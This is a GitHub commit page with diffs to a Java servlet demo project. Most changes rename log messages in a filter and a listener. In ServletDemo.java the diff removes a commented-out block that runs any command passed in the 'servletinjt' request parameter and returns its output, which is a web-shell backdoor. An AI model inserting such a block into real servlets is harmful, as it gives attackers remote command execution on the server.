update something little bit

fa1c0n1 · Apr 5, 2022 · c666ddf · c666ddf
1 parent 73f2dac
commit c666ddf
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Showing 3 changed files with 7 additions and 24 deletions.
diff --git a/src/me/mole/filter/FilterDemo.java b/src/me/mole/filter/FilterDemo.java
@@ -8,18 +8,18 @@ public class FilterDemo implements Filter {
 
     @Override
     public void init(FilterConfig filterConfig) throws ServletException {
-        System.out.println("me.mole.filter.Demo5 Filter init...");
+        System.out.println("me.mole.filter.FilterDemo Filter init...");
     }
 
     @Override
     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
             throws IOException, ServletException {
-        System.out.println("me.mole.filter.Demo5 Filter doFilter...");
+        System.out.println("me.mole.filter.FilterDemo Filter doFilter...");
         filterChain.doFilter(servletRequest, servletResponse);
     }
 
     @Override
     public void destroy() {
-        System.out.println("me.mole.filter.Demo5 Filter destroy...");
+        System.out.println("me.mole.filter.FilterDemo Filter destroy...");
     }
 }
diff --git a/src/me/mole/listener/ListenerDemo2.java b/src/me/mole/listener/ListenerDemo2.java
@@ -13,20 +13,21 @@ public class ListenerDemo2 implements ServletRequestListener {
      *   否则tomcat启动会报错.
      */
     public ListenerDemo2() {
-
+        System.out.println("ListenerDemo2() called...");
     }
 
     public ListenerDemo2(HttpServletResponse response) {
+        System.out.println("ListenerDemo2(HttpServletResponse resp) called...");
         this.response = response;
     }
 
     @Override
     public void requestDestroyed(ServletRequestEvent sret) {
-        System.out.println("ListenerDemo requestDestroyed");
+        System.out.println("ListenerDemo2 requestDestroyed");
     }
 
     @Override
     public void requestInitialized(ServletRequestEvent sret) {
-        System.out.println("ListenerDemo requestInitialized");
+        System.out.println("ListenerDemo2 requestInitialized");
     }
 }
diff --git a/src/me/mole/servlet/ServletDemo.java b/src/me/mole/servlet/ServletDemo.java
@@ -19,24 +19,6 @@ public class ServletDemo extends HttpServlet {
     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
         try {
             System.out.println("me.mole.servlet.ServletDemo doGet...");
-//            ServletOutputStream out = resp.getOutputStream();
-//            String cmds = req.getParameter("servletinjt");
-//            if (cmds != null) {
-//                InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
-//                StringBuilder sb = new StringBuilder();
-//                BufferedReader br = new BufferedReader(new InputStreamReader(in));
-//                String line = null;
-//                while((line = br.readLine()) != null) {
-//                    sb.append(line).append("\n");
-//                }
-//                if (sb.length() > 0) {
-//                    out.print("<pre>");
-//                    out.write(sb.toString().getBytes());
-//                    out.print("</pre>");
-//                    out.flush();
-//                    out.close();
-//                }
-//            }
         } catch (Exception e) {
             e.printStackTrace();
         }